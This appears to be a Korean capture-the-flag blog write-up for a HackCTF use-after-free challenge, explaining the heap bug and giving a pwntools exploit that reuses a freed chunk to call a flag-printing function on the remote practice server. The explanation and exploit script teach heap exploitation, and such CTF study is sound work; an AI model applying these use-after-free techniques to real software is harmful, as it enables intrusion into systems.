# contents
메뉴 ::
1번 : add_note - heap 영역 할당
2번 : del_note - heap 영역 해제
3번 : print_note - 내용 출력
4번 : exit
magic ::
flag 출력 함수
# process
1. heap 2개 할당 (0x90, 0x100)
2. 할당한 heap 2개 해제
3. fastChunk 1개 (0x20) 할당
- 할당한 index는 2번 청크인데, 0번과 같은 사이즈라서 0번 청크에 할당된다.
- magic 주소를 적어놓는다.
4. print_note로 0번 청크 내용 출력
- 0번 청크를 해제했지만 여전히 0번 청크의 포인터는 해당 heap 영역을 가리키고 있는 상태라서
print_note로 0번을 출력할 수 있다.
이것이 UAF(Use After Free) 이다.
# exploit code
#!/usr/bin/python
from pwn import *
#context.log_level = 'debug'
#p = process("./uaf")
p = remote("ctf.j0n9hyun.xyz", 3020)
#gdb.attach(p)
elf = ELF("./uaf")
magic = elf.symbols['magic']
def add_note(size, content):
p.recvuntil(" :")
p.sendline("1")
p.recv()
p.sendline(str(size))
p.recv()
p.sendline(content)
p.recv()
def del_note(index):
p.recvuntil(" :")
p.sendline("2")
p.recv()
p.sendline(str(index))
p.recv()
def print_note(index):
p.recvuntil(" :")
p.sendline("3")
p.recv()
p.sendline(str(index))
add_note(0x90, "AAA")
add_note(0x100, "BBB")
#add_note(0x30, '')
#add_note(0x30, '')
del_note(0)
del_note(1)
add_note(0x20, p32(magic))
print_note(0)
p.interactive()
# exploit
[HackCTF] Unexploitable #2 (0) | 2020.01.19 |
---|---|
[HackCTF] Unexploitable #1 (0) | 2020.01.19 |
[HackCTF] Random Key (0) | 2020.01.18 |
[HackCTF] ROP (3) | 2020.01.16 |
[HackCTF] pwning (0) | 2020.01.15 |